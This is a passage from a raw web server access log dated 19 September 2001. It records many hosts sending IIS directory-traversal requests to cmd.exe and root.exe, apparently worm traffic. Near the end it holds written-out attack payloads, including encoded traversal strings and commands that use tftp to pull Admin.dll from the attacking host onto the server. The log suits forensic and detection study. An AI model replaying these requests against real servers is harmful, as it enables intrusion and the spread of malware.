/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:59:15: [207.115.139.110] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:59:34: [207.115.139.110] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:59:53: [207.115.139.110] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:00:11: [207.115.139.110] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:00:29: [207.115.139.110] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:00:47: [207.115.139.110] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:01:06: [207.115.139.110] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:01:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:01:24: [207.115.139.110] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:01:42: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:01:42: [207.115.139.110] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:02:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:02:23: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:10: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:11: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:12: 182rts92.wuh.wustl.edu [128.252.182.92] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:03:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:05:42: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:05:42: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:45: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:05:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:28: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:19: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:19: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:19: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:14:22: [128.197.227.150] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:19:08: [128.197.227.150] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:19:26: [128.197.227.150] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:19:45: [128.197.227.150] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:20:03: [128.197.227.150] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:20:21: [128.197.227.150] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:20:40: [128.197.227.150] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:20:58: [128.197.227.150] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:21:16: [128.197.227.150] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:21:34: [128.197.227.150] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:21:53: [128.197.227.150] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:22:11: [128.197.227.150] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:22:29: [128.197.227.150] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:22:47: [128.197.227.150] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:23:06: [128.197.227.150] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:23:24: [128.197.227.150] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:23:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:24:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0" 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET 